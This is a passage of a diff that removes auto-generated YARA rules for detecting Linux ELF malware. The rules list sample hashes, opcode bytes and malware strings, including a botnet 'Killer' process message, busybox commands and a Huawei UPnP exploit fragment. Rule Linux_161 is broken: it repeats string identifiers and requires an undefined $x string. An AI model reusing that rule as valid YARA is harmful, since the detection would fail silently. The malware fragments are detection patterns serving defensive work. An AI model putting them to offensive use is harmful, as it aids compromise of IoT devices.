- hash1 = "c192146c8311694342f73a19cfe69ecc53f3f1d6cab006526d2daa5134846357"
- strings:
- $s1 = "FRAMESZ" fullword ascii
- $s2 = "hoste.6559" fullword ascii
- $s3 = "completed.4786" fullword ascii
- $s4 = "LOCALSZ" fullword ascii
- $s5 = "__GI___waitpid" fullword ascii
- $s6 = "__GI___libc_waitpid" fullword ascii
- $s7 = "__waitpid" fullword ascii
- $s8 = "__sys_recvmsg" fullword ascii
- $s9 = "next_start.1303" fullword ascii
- $s10 = "unknown.1327" fullword ascii
- $s11 = "spec_or_mask.6324" fullword ascii
- $s12 = "spec_and_mask.6325" fullword ascii
- $s13 = "prefix.6318" fullword ascii
- $s14 = "setjmp_aux.c" fullword ascii
- $s15 = "object.4798" fullword ascii
- $s16 = "__sigsetjmp_aux" fullword ascii
- $s17 = "qual_chars.6326" fullword ascii
- $s18 = "spec_base.6317" fullword ascii
- $s19 = "spec_flags.6321" fullword ascii
- $s20 = "spec_chars.6322" fullword ascii
-
- $op0 = { 18 21 34 42 00 01 a6 02 00 00 8f bf 00 1c 8f b0 }
- $op1 = { af c2 00 34 8f c2 00 34 }
- $op2 = { 24 42 00 01 af c2 00 34 8f c2 00 34 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_152 {
- meta:
- description = "Linux_152"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "87b6792aea1eeeefe31996249165087853d40e94f864aa37bbc0d1bde330fb4d"
- strings:
- $s1 = " $Bh`'9h" fullword ascii
-
- $op0 = { 8f a2 00 3c 34 10 ff ff 10 50 00 5b }
- $op1 = { 03 20 f8 09 af a2 00 c0 3c 07 7f 80 34 e7 7f 81 }
- $op2 = { 02 60 10 21 8f bf 00 38 8f b7 00 34 8f b6 00 30 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_153 {
- meta:
- description = "Linux_153"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "8eaa7ef1303ae4c3ba46fcc1033869d714303e3f8807e3857fc863555575b393"
- strings:
- $s1 = "(Killer) >> KILLING PID: (%s)" fullword ascii
- $s2 = "oaat)ehmra" fullword ascii
-
- $op0 = { a1 34 a0 10 90 10 00 13 40 00 06 e7 92 10 00 10 }
- $op1 = { 80 a4 e0 00 d0 34 20 04 92 10 00 15 02 bf ff cd }
- $op2 = { 80 a2 3f ff 02 80 00 04 80 a2 20 00 04 80 00 04 }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_154 {
- meta:
- description = "Linux_154"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "2064f7eaad3f7eaf4f3d9365aed9166db89b7ff0598da6a7c8bd0127debfeaf7"
- strings:
- $s1 = "(Killer) >> KILLING PID: (%s)" fullword ascii
-
- $op0 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f }
- $op1 = { f0 45 2d e9 34 30 92 e5 98 50 9f e5 01 a0 73 e2 }
- $op2 = { f4 ff ff ff f4 ff ff ff 28 23 00 00 f4 ff ff ff }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_155 {
- meta:
- description = "Linux_155"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "3a4e54985c5827b9af4fd7f13fa85ee5fc635163c726f6f9076730b699d0f660"
- strings:
- $s1 = "(Killer) >> KILLING PID: (%s)" fullword ascii
- $s2 = " $B`$'9]p" fullword ascii
-
- $op0 = { 03 20 f8 09 af a2 10 c4 3c 03 80 00 34 63 80 01 }
- $op1 = { 02 40 a0 21 25 22 ff ff 30 49 ff ff 34 03 ff ff }
- $op2 = { 02 60 10 21 8f bf 00 38 8f b7 00 34 8f b6 00 30 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_156 {
- meta:
- description = "Linux_156"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "8dc0feba0f39ce28028807380312122128a0bdd57400bf23fdf105567fac6a89"
- strings:
- $s1 = "(Killer) >> KILLING PID: (%s)" fullword ascii
- $s2 = "dB$Hb9'" fullword ascii
-
- $op0 = { 01 00 42 a2 34 00 a3 8f 30 00 a4 8f 48 00 a9 8f }
- $op1 = { 08 42 34 0c 00 82 ae 09 f8 20 03 }
- $op2 = { ff 7f 02 3c ff ff 42 34 21 58 00 00 02 00 a0 14 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_157 {
- meta:
- description = "Linux_157"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "be7518409d1197a57bfd0eeba37a6c21550d15187675de1245877deba07dd1bf"
- strings:
- $s1 = "(Killer) >> KILLING PID: (%s)" fullword ascii
-
- $op0 = { ea 63 0f 8d e2 00 10 a0 e1 0c 02 00 eb 00 60 a0 }
- $op1 = { 70 40 2d e9 00 40 51 e2 46 df 4d e2 00 60 a0 e1 }
- $op2 = { ea 03 00 9d e8 08 d0 8d e2 70 80 bd e8 10 40 2d }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_158 {
- meta:
- description = "Linux_158"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "ab5ee18fd3df5a2d7f2d84c75b33fd2f73b76c8e0d2df278d9ded40943d16911"
- strings:
- $s1 = "FRAMESZ" fullword ascii
- $s2 = "hoste.6559" fullword ascii
- $s3 = "completed.4786" fullword ascii
- $s4 = "A/etc/hosts" fullword ascii
- $s5 = "LOCALSZ" fullword ascii
- $s6 = "__GI___waitpid" fullword ascii
- $s7 = "__GI___libc_waitpid" fullword ascii
- $s8 = "__waitpid" fullword ascii
- $s9 = "__sys_recvmsg" fullword ascii
- $s10 = "next_start.1303" fullword ascii
- $s11 = "unknown.1327" fullword ascii
- $s12 = "spec_or_mask.6324" fullword ascii
- $s13 = "spec_and_mask.6325" fullword ascii
- $s14 = "prefix.6318" fullword ascii
- $s15 = "setjmp_aux.c" fullword ascii
- $s16 = "object.4798" fullword ascii
- $s17 = "__sigsetjmp_aux" fullword ascii
- $s18 = "qual_chars.6326" fullword ascii
- $s19 = "spec_base.6317" fullword ascii
- $s20 = "spec_flags.6321" fullword ascii
-
- $op0 = { 26 18 62 00 37 9e 02 3c b9 79 42 34 26 20 62 00 }
- $op1 = { 1c 00 c0 af 34 00 c3 8f }
- $op2 = { 01 00 42 24 24 00 c2 af 34 00 c2 8f }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_159 {
- meta:
- description = "Linux_159"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "f831889e4fd0c93e6b34c154b3d2e54feb0c36d3e2379a508916c7608e49988d"
- strings:
- $s1 = "u__get_myaddress: socket" fullword ascii
-
- $op0 = { 01 00 00 a8 35 fe ff cc 34 fe ff fc }
- $op1 = { c0 a0 e1 f0 6f ac e8 34 0e 00 ea 00 00 a0 e1 77 }
- $op2 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f 00 00 0c }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_160 {
- meta:
- description = "Linux_160"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "12ec4ba0eb6c327c01f4b7f9e85a398df8ed1f98e85ccff9f31054e632a35767"
- strings:
- $s1 = "tQmMiIlRI" fullword ascii /* base64 encoded string 'Bc""TH' */
- $s2 = "* j7xV" fullword ascii
- $s3 = "CLlD -HO" fullword ascii
- $s4 = "Imt.BLh" fullword ascii
- $s5 = " gcMd!%" fullword ascii
- $s6 = "$Id: UPX 4.10 Copyright (C) 1996-2023 the UPX Team. All Rights Reserved. $" fullword ascii
- $s7 = "p7* H>" fullword ascii
- $s8 = "].Wq -" fullword ascii
- $s9 = "|!+ tk" fullword ascii
- $s10 = "pcfPfp6" fullword ascii
- $s11 = "'- z!y" fullword ascii
- $s12 = "\\ZXLH+;%" fullword ascii
- $s13 = "b -;_5" fullword ascii
- $s14 = "pzevfl" fullword ascii
- $s15 = "- .2C:@8" fullword ascii
- $s16 = "_P'q* |" fullword ascii
- $s17 = "MPlEurV" fullword ascii
- $s18 = "tREz`\\" fullword ascii
- $s19 = "EWVaXyG" fullword ascii
- $s20 = "+Faej%/E" fullword ascii
- condition:
- uint16(0) == 0x457f and filesize < 5000KB and
- 8 of them
-}
-
-rule Linux_161 {
- meta:
- description = "Linux_161"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "7636a9c970b9f730fd6d7dbff1c5b9463052528dbfd5813517e7de461c374cfc"
- strings:
- $s1 = "bWcl:\\" fullword ascii
- $s2 = "* $(/bin/busybox w" ascii
- $s4 = "bin/systemd" fullword ascii
- $s5 = "dURL>$(echo HUAWEIUPNP)" fullword ascii
- $s6 = "killall" fullword ascii
- $s7 = "bin/busybox" fullword ascii
- $s8 = "bin/watchdog" fullword ascii
- $s9 = "MCJBG@K." fullword ascii
- $s10 = "w5q6he3dbrsgmclkiu4to18npavj702f" fullword ascii
- $s11 = " && mv " fullword ascii
- $s12 = "LAZ@KZ" fullword ascii
- $s13 = "@I[WK@@IFG" fullword ascii
- $s14 = "(#$c28" fullword ascii
- $s15 = "H!$J$(/bin/busybox w" ascii
- $s4 = "bin/systemd" fullword ascii
- $s5 = "dURL>$(echo HUAWEIUPNP)" fullword ascii
- $s6 = "killall" fullword ascii
- $s7 = "bin/busybox" fullword ascii
- $s8 = "bin/watchdog" fullword ascii
- $s9 = "MCJBG@K." fullword ascii
- $s10 = "w5q6he3dbrsgmclkiu4to18npavj702f" fullword ascii
- $s11 = " && mv " fullword ascii
- $s12 = "LAZ@KZ" fullword ascii
- $s13 = "@I[WK@@IFG" fullword ascii
-
- $op0 = { 8a 00 70 a0 e3 07 00 a0 e1 f0 80 bd e8 70 40 2d }
- $op1 = { be 00 90 ef 01 0a 70 e3 0e f0 a0 31 25 10 e0 e3 }
- $op2 = { ea 00 50 e0 e3 05 00 a0 e1 70 80 bd e8 10 40 2d }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_191 {
- meta:
- description = "Linux_191"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "82fc9ae92f7551f3ca77e7ff3d4aa61d8cd2630f4eda2fd56c8803b5ae4a5984"
- strings:
- $x1 = "$(/bin/busybox w" ascii
- $s4 = "bin/systemd" fullword ascii
- $s5 = "dURL>$(echo HUAWEIUPNP)" fullword ascii
- $s6 = "killall" fullword ascii
- $s7 = "bin/busybox" fullword ascii
- $s8 = "bin/watchdog" fullword ascii
- $s9 = "MCJBG@K." fullword ascii
- $s10 = "w5q6he3dbrsgmclkiu4to18npavj702f" fullword ascii
- $s11 = " && mv " fullword ascii
- $s12 = "LAZ@KZ" fullword ascii
- $s13 = "@I[WK@@IFG" fullword ascii
-
- $op0 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f }
- $op1 = { 25 00 00 f0 45 2d e9 34 30 92 e5 98 50 9f e5 01 }
- $op2 = { f4 ff ff ff f4 ff ff ff 70 24 00 00 f4 ff ff ff }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_192 {
- meta:
- description = "Linux_192"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "07ff0a6d179224d57aad6f733e187dae4b1126627722679aa25274aa5a01cf4f"
- strings:
- $s1 = "ArHF,tC^" fullword ascii
- $s2 = "ZUPX!`" fullword ascii
- $s3 = ".Wq&q<" fullword ascii
- $s4 = "x0eJ,x7" fullword ascii
- $s5 = "\"n|qRfq" fullword ascii
- $s6 = "@4=qVw" fullword ascii
- $s7 = "x!_2YE" fullword ascii
- $s8 = "KuzPXq" fullword ascii
- $s9 = "S6Z&dgk " fullword ascii
- $s10 = "?6AbDA" fullword ascii
- $s11 = "3x&}7$#0" fullword ascii
- $s12 = "?M74$M2mUr" fullword ascii
- $s13 = "@wZ+_$" fullword ascii
- $s14 = "ZJ4+)q" fullword ascii
- $s15 = "ID,IEtm" fullword ascii
- $s16 = "6~U+6Q" fullword ascii
- $s17 = "toEh`w" fullword ascii
- $s18 = "FeW!jY" fullword ascii
- $s19 = " hf~Bb" fullword ascii
- $s20 = "%4s.J6" fullword ascii
- condition:
- uint16(0) == 0x457f and filesize < 70KB and
- 8 of them
-}
-
-rule Linux_193 {
- meta:
- description = "Linux_193"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "7a3a141da6cf5d5d60e9f9388799362b750c404518617406d03ad42722538e1d"
- strings:
- $s1 = "# 6l18" fullword ascii
- $s2 = "ArHF,tC^" fullword ascii
- $s3 = "MlOo5kE" fullword ascii
- $s4 = "x0eJ,x7" fullword ascii
- $s5 = "emO